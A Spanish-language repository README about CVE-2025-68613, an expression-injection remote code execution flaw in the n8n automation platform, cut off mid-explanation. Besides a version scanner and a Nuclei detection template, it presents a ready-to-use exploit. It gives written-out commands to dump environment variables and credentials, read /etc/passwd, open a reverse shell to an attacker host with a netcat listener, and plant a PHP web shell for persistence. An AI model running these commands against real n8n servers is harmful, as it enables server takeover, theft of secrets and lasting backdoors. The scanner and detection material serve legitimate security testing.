🚨 CVE-2025-68613: Vulnerabilidad RCE Crítica en n8n

Tabla de Contenidos

1. Resumen
2. ¿Qué es n8n?
3. Conceptos Básicos de la Vulnerabilidad
4. Detalles Técnicos
5. Versiones Afectadas
6. Mecánica de Explotación
7. Impacto en el Mundo Real
8. Métodos de Detección
9. Remediación y Mitigación
10. Recursos y Referencias

---

Resumen

CVE-2025-68613 es una vulnerabilidad crítica de Ejecución Remota de Código (RCE) descubierta en n8n, una popular plataforma de automatización de flujos de trabajo de código abierto. Esta vulnerabilidad permite a usuarios autenticados ejecutar código arbitrario en el servidor, lo que potencialmente puede llevar a un compromiso total del sistema.

Datos Rápidos

• CVE ID: CVE-2025-68613
• CVSS Score: 9.9 - 10.0 (Critical)
• Vulnerability Type: Expression Injection → Remote Code Execution
• CWE: CWE-913 (Improper Control of Dynamically-Managed Code Resources)
• Attack Vector: Network
• Authentication Required: Yes (Low privilege - no admin access needed) |- Estado: Prueba de Concepto disponible (verificado funcionando en v1.121.0)

---

¿Qué es n8n?

n8n es una plataforma de automatización de flujos de trabajo de código abierto que permite a los usuarios:

• Conectar varias APIs, bases de datos y servicios
• Automatizar procesos empresariales repetitivos
• Crear flujos de trabajo complejos sin necesidad de programación extensa
• Implementar en instalaciones propias o en la nube

Por qué n8n es Infraestructura Crítica

Las organizaciones usan n8n para:

• Integrar bases de datos con servicios en la nube
• Automatizar tuberías de procesamiento de datos
• Conectar CRMs, ERPs y sistemas internos
• Gestionar datos sensibles y credenciales de API

Este papel central en la infraestructura de TI hace que las vulnerabilidades sean particularmente peligrosas, ya que pueden proporcionar a los atacantes acceso a redes enteras y datos sensibles.

---

Herramientas en este Repositorio

Este repositorio incluye herramientas listas para usar para la detección de vulnerabilidades y pruebas de explotación:

1. Escáner: cve-2025-68613-scanner.py

Propósito: Detección segura y no explotadora de instancias vulnerables de n8n

Características:

• Detección pasiva de versiones desde respuestas HTTP
• No requiere autenticación
• Sin ejecución de payload
• Verifica múltiples rutas comunes (/, /rest/settings, /healthz, /api/v1/health)
• Seguro para evaluaciones de seguridad autorizadas

Uso:```bash python3 cve-2025-68613-scanner.py -u http://target:5678

**Salida**:
- Código de salida 0: No vulnerable
- Código de salida 1: Versión indeterminada (puede estar parcheada u oculta)
- Código de salida 2: Versión vulnerable detectada

### 2. Plantilla de Nuclei: `CVE-2025-68613.yaml`
**Propósito**: Detección automatizada de vulnerabilidades y prueba básica de evaluación de expresiones

**Características**:
- Requiere token de autenticación válido
- Prueba la capacidad de inyección de expresiones
- Intenta leer el contexto global de Node.js (process.platform)
- Crea flujos de trabajo de prueba para validar el vector RCE
- Clasificación de gravedad Crítica CVSS 10.0

**Uso**:```bash
# Single target with known token
nuclei -t CVE-2025-68613.yaml -u http://target:5678 -v

# Multiple targets
nuclei -t CVE-2025-68613.yaml -l targets.txt

3. Exploit Completo: exploit_cve-2025-68613.py

Propósito: Prueba de concepto completa con múltiples cargas de ataque

Características:

• Manejo completo de autenticación
• Múltiples cargas de explotación:
  • info: Recopilar información del sistema (SO, arquitectura, versión de Node.js, usuario actual)
  • cmd: Ejecutar comandos arbitrarios del sistema
  • env: Extraer todas las variables de entorno (revela credenciales, claves API, secretos)
  • read: Leer archivos sensibles del sistema de archivos (claves SSH, archivos de configuración, etc.)
  • write: Escribir archivos en el sistema de archivos (persistencia, puertas traseras, etc.)
  • revshell: Establecer una conexión de shell inversa para acceso interactivo
• Limpieza automática del flujo de trabajo
• Manejo de errores e informes de estado

Requisitos:

• Credenciales de usuario n8n válidas (correo electrónico/contraseña)
• Python 3.6+ con la biblioteca requests
• Acceso de red a la instancia n8n objetivo

Instalación:```bash pip install requests chmod +x exploit_cve-2025-68613.py

**Ejemplos de uso**:```bash
# Gather system information
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload info

# Execute system command (whoami)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload cmd --command "whoami"

# Extract all environment variables (credentials, API keys)
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload env

# Read sensitive files
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload read --file "/etc/passwd"

# Establish reverse shell (requires netcat listener)
# On attacker machine: nc -lvnp 4444
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload revshell --lhost 10.10.14.5 --lport 4444

# Write a web shell for persistence
python3 exploit_cve-2025-68613.py -u http://target:5678 \  
  -e [email protected] -p password --payload write \  
  --file "/tmp/shell.php" --content '<?php system($_GET["cmd"]); ?>'

Cómo funciona:

1. Se autentica en n8n usando las credenciales proporcionadas
2. Crea un flujo de trabajo malicioso con una carga útil de inyección de expresión
3. La carga útil sale del entorno aislado de expresiones usando this.constructor.constructor()
4. Ejecuta la carga útil a través de process.platform u otras APIs de Node.js
5. Recupera los resultados de la ejecución del flujo de trabajo
6. Limpia eliminando el flujo de trabajo de prueba

Códigos de salida:

• 0: Explotación exitosa
• 1: Autenticación o explotación fallida

---

Conceptos básicos de vulnerabilidad

¿Cuál es el problema?

En términos simples: n8n permite a los usuarios escribir expresiones en flujos de trabajo para procesar datos dinámicamente. Sin embargo, estas expresiones se evalúan sin un entorno aislado adecuado, lo que permite a los atacantes salir del contexto de ejecución previsto y ejecutar código arbitrario en el servidor.

El problema central